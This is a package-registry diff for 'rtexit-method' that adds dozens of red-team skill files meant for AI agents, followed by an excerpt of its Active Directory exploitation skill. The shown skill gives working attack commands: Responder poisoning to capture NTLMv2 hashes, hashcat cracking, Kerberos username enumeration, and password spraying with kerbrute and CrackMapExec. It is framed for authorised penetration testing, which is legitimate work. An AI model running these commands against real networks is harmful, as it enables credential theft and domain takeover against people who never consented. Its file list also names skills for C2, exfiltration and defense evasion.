rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1078 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-active-directory
|
|
3
|
+
description: "Complete Active Directory penetration testing skill. Domain enumeration with BloodHound/SharpHound, Kerberoasting with GetUserSPNs and hashcat, AS-REP Roasting, Pass-the-Hash with CrackMapExec, Pass-the-Ticket with Rubeus, DCSync with Mimikatz secretsdump, Golden/Silver ticket forging, RBCD delegation abuse, Shadow Credentials, PrintNightmare, and forest trust abuse."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-active-directory
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
This skill covers the complete Active Directory (AD) attack lifecycle from initial enumeration through full domain compromise. Active Directory is the identity backbone of most enterprise Windows environments, making it a high-value target in red team engagements. Compromising AD typically means game-over for the engagement — domain admin access grants control over every joined system, user account, and resource in the forest.
|
|
11
|
+
|
|
12
|
+
**When to use this skill:**
|
|
13
|
+
- You have a foothold (shell, credentials, or network access) inside a Windows domain environment
|
|
14
|
+
- You need to escalate from a low-privileged domain user to Domain Admin / Enterprise Admin
|
|
15
|
+
- You are performing an assumed breach assessment starting with domain user credentials
|
|
16
|
+
- You need to demonstrate lateral movement, privilege escalation, or persistence via AD techniques
|
|
17
|
+
- The engagement scope includes internal network / Active Directory attacks
|
|
18
|
+
|
|
19
|
+
**Attack Philosophy:**
|
|
20
|
+
AD attacks chain together — enumeration reveals paths, those paths lead to credential theft or delegation abuse, and credentials unlock DCSync or ticket forging. Always enumerate before attacking. BloodHound is your map; follow the shortest path to DA.
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## Prerequisites
|
|
25
|
+
|
|
26
|
+
### Required Access
|
|
27
|
+
- Network access to the target domain (VPN, direct LAN, or compromised host)
|
|
28
|
+
- At minimum: valid domain credentials (even a low-privileged user account)
|
|
29
|
+
- Ideally: a compromised domain-joined Windows host for in-memory attacks
|
|
30
|
+
|
|
31
|
+
### Attacker Machine Setup (Kali Linux)
|
|
32
|
+
|
|
33
|
+
#### Core Tools Installation
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
# Update package list
|
|
37
|
+
sudo apt update && sudo apt upgrade -y
|
|
38
|
+
|
|
39
|
+
# Impacket suite (essential — GetUserSPNs, secretsdump, psexec, wmiexec, etc.)
|
|
40
|
+
sudo apt install -y python3-impacket impacket-scripts
|
|
41
|
+
# OR install from source for latest version:
|
|
42
|
+
git clone https://github.com/fortra/impacket.git /opt/impacket
|
|
43
|
+
cd /opt/impacket && pip3 install -r requirements.txt && pip3 install -e .
|
|
44
|
+
|
|
45
|
+
# CrackMapExec (CME) — lateral movement, enumeration, credential testing
|
|
46
|
+
sudo apt install -y crackmapexec
|
|
47
|
+
# OR pipx install for isolation:
|
|
48
|
+
pipx install crackmapexec
|
|
49
|
+
|
|
50
|
+
# NetExec (nxc) — modern successor to CrackMapExec
|
|
51
|
+
pip3 install netexec
|
|
52
|
+
# OR:
|
|
53
|
+
sudo apt install -y netexec
|
|
54
|
+
|
|
55
|
+
# BloodHound (graph-based AD attack path analysis)
|
|
56
|
+
sudo apt install -y bloodhound neo4j
|
|
57
|
+
|
|
58
|
+
# BloodHound Python ingestor (run from Linux without SharpHound)
|
|
59
|
+
pip3 install bloodhound
|
|
60
|
+
|
|
61
|
+
# Kerbrute — Kerberos username enumeration and password spraying
|
|
62
|
+
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /opt/kerbrute
|
|
63
|
+
chmod +x /opt/kerbrute
|
|
64
|
+
sudo ln -s /opt/kerbrute /usr/local/bin/kerbrute
|
|
65
|
+
|
|
66
|
+
# Enum4linux-ng — SMB/LDAP enumeration
|
|
67
|
+
sudo apt install -y enum4linux-ng
|
|
68
|
+
|
|
69
|
+
# LDAPsearch / LDAP tools
|
|
70
|
+
sudo apt install -y ldap-utils
|
|
71
|
+
|
|
72
|
+
# Hashcat — GPU-accelerated password cracking
|
|
73
|
+
sudo apt install -y hashcat
|
|
74
|
+
|
|
75
|
+
# John the Ripper — alternative password cracker
|
|
76
|
+
sudo apt install -y john
|
|
77
|
+
|
|
78
|
+
# Evil-WinRM — Windows Remote Management shell
|
|
79
|
+
gem install evil-winrm
|
|
80
|
+
|
|
81
|
+
# Responder — LLMNR/NBT-NS poisoning for credential capture
|
|
82
|
+
sudo apt install -y responder
|
|
83
|
+
|
|
84
|
+
# Metasploit Framework
|
|
85
|
+
sudo apt install -y metasploit-framework
|
|
86
|
+
|
|
87
|
+
# rpcclient / smbclient
|
|
88
|
+
sudo apt install -y samba-common-bin smbclient
|
|
89
|
+
|
|
90
|
+
# PowerView (download for use via PowerShell on target)
|
|
91
|
+
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -O /opt/PowerView.ps1
|
|
92
|
+
|
|
93
|
+
# Rubeus (pre-compiled binary for Windows target)
|
|
94
|
+
# Download from: https://github.com/GhostPack/Rubeus/releases
|
|
95
|
+
# Keep in /opt/tools/windows/
|
|
96
|
+
|
|
97
|
+
# Mimikatz (pre-compiled for Windows target)
|
|
98
|
+
# Download from: https://github.com/gentilkiwi/mimikatz/releases
|
|
99
|
+
|
|
100
|
+
# PKINITtools — for Shadow Credentials and certificate-based attacks
|
|
101
|
+
git clone https://github.com/dirkjanm/PKINITtools /opt/PKINITtools
|
|
102
|
+
pip3 install -r /opt/PKINITtools/requirements.txt
|
|
103
|
+
|
|
104
|
+
# Certipy — AD CS (Certificate Services) attacks
|
|
105
|
+
pip3 install certipy-ad
|
|
106
|
+
|
|
107
|
+
# pywhisker — Shadow Credentials from Linux
|
|
108
|
+
git clone https://github.com/ShutdownRepo/pywhisker /opt/pywhisker
|
|
109
|
+
pip3 install -r /opt/pywhisker/requirements.txt
|
|
110
|
+
|
|
111
|
+
# LDAPRelayScanner / ntlmrelayx
|
|
112
|
+
# ntlmrelayx is part of Impacket
|
|
113
|
+
|
|
114
|
+
# crackmapexec wordlists
|
|
115
|
+
sudo apt install -y wordlists
|
|
116
|
+
sudo gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null || true
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
#### Environment Configuration
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
# Set DNS to the Domain Controller for all domain resolution
|
|
123
|
+
sudo resolvectl dns eth0 <DC_IP>
|
|
124
|
+
# OR edit /etc/resolv.conf:
|
|
125
|
+
echo "nameserver <DC_IP>" | sudo tee /etc/resolv.conf
|
|
126
|
+
|
|
127
|
+
# Add domain to /etc/hosts for quick resolution
|
|
128
|
+
echo "<DC_IP> dc01.corp.local corp.local" | sudo tee -a /etc/hosts
|
|
129
|
+
|
|
130
|
+
# Sync time with DC (critical for Kerberos — clock skew > 5 min breaks everything)
|
|
131
|
+
sudo ntpdate <DC_IP>
|
|
132
|
+
# OR:
|
|
133
|
+
sudo timedatectl set-ntp false
|
|
134
|
+
sudo rdate -n <DC_IP>
|
|
135
|
+
|
|
136
|
+
# Set domain variables for convenience
|
|
137
|
+
export DOMAIN="corp.local"
|
|
138
|
+
export DC_IP="192.168.1.10"
|
|
139
|
+
export DC_HOST="dc01.corp.local"
|
|
140
|
+
export USER="jdoe"
|
|
141
|
+
export PASS="Password123"
|
|
142
|
+
export HASH="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
## Skill Levels
|
|
148
|
+
|
|
149
|
+
### BEGINNER — Domain Reconnaissance & Credential Capture
|
|
150
|
+
|
|
151
|
+
**Goal:** Enumerate the domain without prior credentials; capture or guess initial credentials.
|
|
152
|
+
|
|
153
|
+
Techniques: LLMNR/NBT-NS poisoning, Kerberos enumeration, anonymous LDAP, SMB null sessions, password spraying.
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
### INTERMEDIATE — Kerberoasting, AS-REP Roasting, Lateral Movement
|
|
158
|
+
|
|
159
|
+
**Goal:** Extract service ticket hashes or AS-REP hashes for offline cracking; move laterally with captured credentials.
|
|
160
|
+
|
|
161
|
+
Techniques: Kerberoasting, AS-REP Roasting, Pass-the-Hash, SMB lateral movement with CME, WinRM shells.
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
### ADVANCED — Delegation Abuse, Shadow Credentials, DCSync
|
|
166
|
+
|
|
167
|
+
**Goal:** Abuse misconfigured delegation, certificate services, or replication rights to extract domain hashes.
|
|
168
|
+
|
|
169
|
+
Techniques: Unconstrained/Constrained/RBCD delegation, Shadow Credentials, DCSync, PrintNightmare.
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
### EXPERT — Golden/Silver Tickets, Forest Trust Abuse, Persistence
|
|
174
|
+
|
|
175
|
+
**Goal:** Forge tickets for persistent, undetectable access; abuse cross-forest trusts to pivot between domains.
|
|
176
|
+
|
|
177
|
+
Techniques: Golden ticket, Silver ticket, Diamond ticket, SID history injection, cross-forest trust keys, AdminSDHolder persistence.
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## Step-by-Step Attack Workflow
|
|
182
|
+
|
|
183
|
+
### Phase 1: Pre-Authentication Enumeration (No Credentials)
|
|
184
|
+
|
|
185
|
+
#### Step 1 — Network Discovery & DC Identification
|
|
186
|
+
|
|
187
|
+
```bash
|
|
188
|
+
# Identify the domain controller via DNS
|
|
189
|
+
nslookup -type=SRV _ldap._tcp.dc._msdcs.$DOMAIN $DC_IP
|
|
190
|
+
|
|
191
|
+
# Enumerate DC with nmap
|
|
192
|
+
nmap -sV -p 53,88,135,139,389,445,464,636,3268,3269,5985,9389 $DC_IP
|
|
193
|
+
|
|
194
|
+
# Quick SMB enumeration (null session)
|
|
195
|
+
enum4linux-ng -A $DC_IP 2>/dev/null
|
|
196
|
+
smbclient -L //$DC_IP -N
|
|
197
|
+
|
|
198
|
+
# Check for LDAP anonymous bind
|
|
199
|
+
ldapsearch -x -h $DC_IP -b "DC=corp,DC=local" -s base "(objectClass=*)" | head -50
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
#### Step 2 — LLMNR/NBT-NS Poisoning (Credential Capture)
|
|
203
|
+
|
|
204
|
+
```bash
|
|
205
|
+
# Start Responder to poison LLMNR/NBT-NS/mDNS requests
|
|
206
|
+
# This captures NTLMv2 hashes when users/systems mistype hostnames
|
|
207
|
+
sudo responder -I eth0 -wrf
|
|
208
|
+
|
|
209
|
+
# Responder captures appear in /usr/share/responder/logs/
|
|
210
|
+
# Example captured hash:
|
|
211
|
+
# jdoe::CORP:aabbccdd11223344:HASH:Challenge
|
|
212
|
+
|
|
213
|
+
# Crack NTLMv2 hash with hashcat
|
|
214
|
+
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-*.txt \
|
|
215
|
+
/usr/share/wordlists/rockyou.txt --force
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
#### Step 3 — Username Enumeration via Kerberos
|
|
219
|
+
|
|
220
|
+
```bash
|
|
221
|
+
# Enumerate valid usernames without a password (AS-REQ pre-auth check)
|
|
222
|
+
kerbrute userenum \
|
|
223
|
+
--dc $DC_IP \
|
|
224
|
+
--domain $DOMAIN \
|
|
225
|
+
/usr/share/seclists/Usernames/xato-net-10-million-usernames-ug.txt \
|
|
226
|
+
-o valid_users.txt
|
|
227
|
+
|
|
228
|
+
# Generate username list from OSINT (firstname.lastname, first.last, etc.)
|
|
229
|
+
# Then enumerate:
|
|
230
|
+
kerbrute userenum --dc $DC_IP --domain $DOMAIN custom_users.txt
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
#### Step 4 — Password Spraying
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
# Spray a single password across all valid usernames
|
|
237
|
+
# WARNING: Check lockout policy first — 1 wrong guess per 30 min is safe
|
|
238
|
+
# Check lockout with: enum4linux-ng -P $DC_IP
|
|
239
|
+
|
|
240
|
+
kerbrute passwordspray \
|
|
241
|
+
--dc $DC_IP \
|
|
242
|
+
--domain $DOMAIN \
|
|
243
|
+
valid_users.txt \
|
|
244
|
+
"Winter2024!" \
|
|
245
|
+
-o spray_results.txt
|
|
246
|
+
|
|
247
|
+
# CME password spray (SMB)
|
|
248
|
+
crackmapexec smb $DC_IP \
|
|
249
|
+
-u valid_users.txt \
|
|
250
|
+
-p "Winter2024!" \
|
|
251
|
+
--continue-on-success \
|
|
252
|
+
2>/dev/null | grep "+"
|
|
253
|
+
|
|
254
|
+
